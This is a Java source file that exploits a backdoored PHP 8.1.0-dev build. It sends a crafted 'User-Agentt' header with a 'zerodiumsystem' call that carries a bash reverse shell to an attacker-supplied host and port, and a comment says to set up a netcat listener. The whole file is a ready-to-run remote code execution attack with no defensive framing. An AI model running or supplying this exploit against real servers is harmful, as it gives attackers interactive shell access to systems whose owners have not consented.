PhpReverseShell81.java

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class PhpReverseShell81 {
    public static void main(String[] args) {
        if(args.length != 3) {
            System.out.println("Usage: java PhpReverseShell81 <target_Ip> <host_Ip> <host_Port>");
            return;
        }
        
        /* Target Machine and Host Ip and Port */
        String target = args[0];
        String host = args[1];
        String port = args[2];

        String payload = "bash -c \"bash -i >& /dev/tcp/"+host+"/"+port+" 0>&1\"";
        /* Using nc -lvnp port needed to access on another tab */
        
        try {
            URL url = new URL(target);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestProperty("User-Agentt", "zerodiumsystem('" + payload + "');");
            conn.setRequestMethod("GET");
            // Using GET method to RCE to tarfer files


            BufferedReader in = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
            );
            
            System.out.println("[+] Displaying the Content of the page [+]");
            String inputLine;
            while ((inputLine = in.readLine()) != null) {
                System.out.println(inputLine);
            }

            System.out.println("[!] Access Terminated [!]");

        }
        catch(Exception e) {
            e.printStackTrace();
        }

        /* END of the Script */
    }
}